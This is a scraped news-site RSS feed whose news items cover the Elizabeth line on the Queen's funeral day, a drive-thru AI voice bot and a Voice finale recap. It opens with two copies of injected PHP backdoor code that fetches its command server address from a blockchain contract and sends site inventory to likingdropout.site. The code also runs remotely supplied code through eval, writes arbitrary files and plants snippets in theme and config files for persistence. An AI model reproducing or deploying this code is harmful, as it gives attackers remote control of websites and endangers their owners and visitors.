// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); named – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 19 Sep 2022 12:20:59 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png named – Brief News https://briefnews.eu 32 32 The $25 billion railway that’s named after Queen Elizabeth II has cheaper fares and a flower memorial to mark the day of her funeral https://briefnews.eu/the-25-billion-railway-thats-named-after-queen-elizabeth-ii-has-cheaper-fares-and-a-flower-memorial-to-mark-the-day-of-her-funeral/ https://briefnews.eu/the-25-billion-railway-thats-named-after-queen-elizabeth-ii-has-cheaper-fares-and-a-flower-memorial-to-mark-the-day-of-her-funeral/#respond Mon, 19 Sep 2022 12:20:59 +0000 https://briefnews.eu/the-25-billion-railway-thats-named-after-queen-elizabeth-ii-has-cheaper-fares-and-a-flower-memorial-to-mark-the-day-of-her-funeral/ Queen Elizabeth II marks the opening of London's Elizabeth line, which is named after her.
In May 2022, Queen Elizabeth II marked the opening of London's Elizabeth line.

TfL

  • Alterations were made to London's Elizabeth line rail service on the day of Queen Elizabeth II's funeral.
  • These included off-peak fares, an extra hour of service, and the creation of a flower memorial.
  • Transport for London said it would announce a two-minute silence to passengers.
The Elizabeth line railway in London launched in May after 23 years of planning. It was named after Queen Elizabeth II, who died on September 8.

An Elizabeth line train.
The Elizabeth line train's design is sleek.

Philip Toscano/Getty Images

Queen Elizabeth II made an appearance on May 17 at London's Paddington station, one of the main stops on the railway, to officially open the line. She learned how to add money to an Oyster travel card.

Queen Elizabeth visited the Elizabeth line for the first time last week.

TfL

After Queen Elizabeth died, Transport for London (TfL) warned passengers about potential disruption to normal travel routes because of "unprecedented travel demand" on the day of Her Majesty's funeral.

Elizabeth line

Kate Duffy/Insider

I commuted on the Elizabeth line, which cost $ 25 billion to build, on the morning of the Queen's funeral on Monday.

Elizabeth line

Kate Duffy/Insider

It was so quiet in Paddington station that you could hear a pin drop. I saw two passengers dressed in formal black attire with hats and broaches, who appeared to be heading to an event related to the Queen's funeral.

Elizabeth line

Kate Duffy/Insider

Flowers, cards, and handwritten notes sending wishes to the royal family had been placed under the official opening plaque in the station.

Elizabeth line

Kate Duffy/Insider

The TfL commissioner, Andy Byford, wrote one of the notes, which said the team sent their "deepest condolences to King Charles III and the Royal Family on the passing of our Sovereign Lady, Her Majesty Queen Elizabeth II."

Elizabeth line

Kate Duffy/Insider

It was no surprise that the Elizabeth line was so quiet, given that Monday was a public holiday due to the Queen's funeral. This meant that many businesses and workplaces were closed for the day.

Elizabeth line

Kate Duffy/Insider

The screens in the glass paneling separating the platform and trains were lit up black with the royal cypher of ER, which stands for Elizabeth Regina.

Elizabeth line

Kate Duffy/Insider

'ER' was also shown on the screens alongside the escalators.

Elizabeth line

Kate Duffy/Insider

TfL said passengers will be charged off-peak fares for travel on Monday. That means a normal adult pay-as-you-go fare for a journey from London's Zone 1 to Zone 2 dropped from £3.20 to £2.60.

Elizabeth line

Kate Duffy/Insider

Source: TfL's website and London City Guide.

The Elizabeth line is scheduled to run an extra hour on Monday until midnight between Paddington and Abbey Wood as visitors and tourists flock to the city for the funeral, per TfL. Hourly trains are set to operate overnight between Paddington and Reading, it added.

Elizabeth line

Kate Duffy/Insider

Source: TfL.

TfL said a two-minute silence will take place on Monday at around 11.55 a.m. on the Elizabeth line and other services. Announcements will alert customers before the silence begins, while buses will pull over and switch engines off if safe to do so, per TfL.

Elizabeth line

Kate Duffy/Insider

Apart from the Waterloo and City line, which was closed, a good service was expected on all tube lines on Monday. Green Park station, located next to Buckingham Palace, was only allowing people to exit.

Elizabeth line

Kate Duffy/Insider

The empty trains and quiet stations made for a very somber commute from Paddington to Liverpool Street hours before the Queen's funeral. TfL said it expected services to become "extremely busy."

Elizabeth line

Kate Duffy/Insider

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]]> https://briefnews.eu/the-25-billion-railway-thats-named-after-queen-elizabeth-ii-has-cheaper-fares-and-a-flower-memorial-to-mark-the-day-of-her-funeral/feed/ 0 This food tech startup is helping brands like Panera Bread and Popeyes boost drive-thru sales with a voice bot named Tori https://briefnews.eu/this-food-tech-startup-is-helping-brands-like-panera-bread-and-popeyes-boost-drive-thru-sales-with-a-voice-bot-named-tori/ https://briefnews.eu/this-food-tech-startup-is-helping-brands-like-panera-bread-and-popeyes-boost-drive-thru-sales-with-a-voice-bot-named-tori/#respond Tue, 06 Sep 2022 02:17:52 +0000 https://briefnews.eu/this-food-tech-startup-is-helping-brands-like-panera-bread-and-popeyes-boost-drive-thru-sales-with-a-voice-bot-named-tori/ Panera Bread
Panera Bread is testing AI-powered bots at the drive-thru.

Panera Bread

  • Panera Bread is known as a restaurant pioneer when it comes to technology.
  • The chain is working with tech startup OpenCity to test voice bot ordering at the drive-thru.
  • OpenCity, which also works with Popeyes, says AI-powered bots can improve accuracy and speed. 

In 2019, Nick Belsito, CEO of food tech startup OpenCity, said many restaurant operators' eyes would glaze over when he talked about his company's artificial intelligence software at food conferences.

Before the pandemic, OpenCity used voice AI technology to automate restaurant reservation orders. 

"When I mentioned A.I. before the pandemic, people looked at me like I was E.T. What is this other-worldly thing?" Belsito said.

With indoor dining shut down at the onset of the 2020 pandemic, the need for reservations went kaput while delivery and drive-thru orders surged. So Belsito shifted OpenCity's business model. 

The startup now automates orders at the drive-thru using an AI-powered bot named Tori.  

The adoption of Tori is picking up steam for the Boston-based startup. Last week, fast-casual giant Panera Bread began testing OpenCity's AI-powered tech at two upstate New York restaurants. Panera joins a Popeyes' franchise restaurant in Louisiana, which started piloting Tori in late April. 

Belsito said OpenCity is taking advantage of a "unique" space with room to improve order accuracy and sales at the drive-thru, where sales represent about 75% of revenue for fast–food restaurants.

"This is core technology that's going to be vital to the future of restaurants," he said.

The owner of the Popeyes restaurant in Louisiana, David Damato, said his company, High Noon Restaurant Group, has seen good results, so far. Speed of service has increased by 20% and order accuracy is at nearly 100%.

The restaurant's drink sales have increased by 150% because Tori automatically upsells high-margin items such as soda fountain drinks, sides, and desserts.

Those stats captured the attention of Panera Bread.

Raj Anbalagan, senior vice president of digital and technology innovation, said Panera is hoping automation will elevate the guest experience by improving accuracy and speed at the drive-thru lane.

"There are a multitude of ways you can do it. And this was one of the ways that we felt that we could test to see if there is a true unlock," Anbalagan told Insider in a recent interview. 

Anbalagan has been pushing innovation for years at Panera. He helped the brand launch digital ordering at the chain in 2014 by adding kiosks in the dining room and mobile orders scheduled through the chain's app. 

Panera is known for building its tech stack in-house.

Still, for this experiment, Anbalagan said it was better to leverage OpenCity's tech "rather than investing and building on our own for the time being," he told Insider. 

Specifically, Anbalagan said he was looking to gain a 5-10% improvement in speed of service using Tori.

He also hopes the experiential aspect of Tori will "delight our guest," he said.

Damato reinforced that Tori has been a "true game-changer" for the restaurant. 

"The guests are having fun, and I was shocked at how quickly Tori learned the Louisiana accent," he said in a statement. "Our team members are loving Tori, too, as it reduces workplace stress since they can focus on serving the guest faster while Tori is taking the order."

Today, hundreds of restaurants across the US are using AI-powered bots to take phone and drive-thru orders including Chipotle, Fazoli's, and Domino's. Some are using OpenCity rivals such as Valyant AI and ConverseNow. 

Belsito said, "Covid has been phenomenal" in changing how the restaurant industry thinks about technology.  

"There's been a tremendous shift. The restaurant space has seen a change in the guard. They realize technology can be their friend," Belsito said. 

OpenCity has raised $ 8 million and works with five different brands in about eight states. Backers include Composite Ventures and NXT Ventures.  

"I expect to be in thousands of restaurants next year," Belsito said.

 

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]]> https://briefnews.eu/this-food-tech-startup-is-helping-brands-like-panera-bread-and-popeyes-boost-drive-thru-sales-with-a-voice-bot-named-tori/feed/ 0 The Voice Finale Results Show Recap: [Spoiler]’s Named Season 18’s Winner https://briefnews.eu/the-voice-finale-results-show-recap-spoilers-named-season-18s-winner/ https://briefnews.eu/the-voice-finale-results-show-recap-spoilers-named-season-18s-winner/#respond Wed, 20 May 2020 11:22:32 +0000 https://briefnews.eu/the-voice-finale-results-show-recap-spoilers-named-season-18s-winner/

RELATED STORIES

Though The Voice ended Season 18 Tuesday with a Final Five instead of its usual Final Four, based on your voting in the polls that followed Monday’s recap, there were really only two contestants in the running for the win: Team Nick Jonas’ Thunderstorm Artis and Team Blake Shelton’s Todd Tilghman.

The former, we all seemed to agree, is a true artist, a song stylist who uses his pipes the way a painter does his brushes. The latter, I think we also agreed, is just a swell singer whose sincerity gives him an unexpected edge. Which of them emerged victorious? Better fill your Kelly Clarkson Wine Goblet™ because before we answer that question, we’ve got about 100 performances to review. Starting with…

Um, Everybody, “Let My Love Open the Door” | Contestants and coaches present and past (CeeLo Green, Shakira, The Comeback Stage’s Bebe Rexha) started off the show with a spirited cover of the Pete Townshend classic that, honestly, sounded better than it had any right to. I know we complain about the sound on the show a lot, but that was pretty damn good. (Also, how amazing was Shakira’s lighting?)

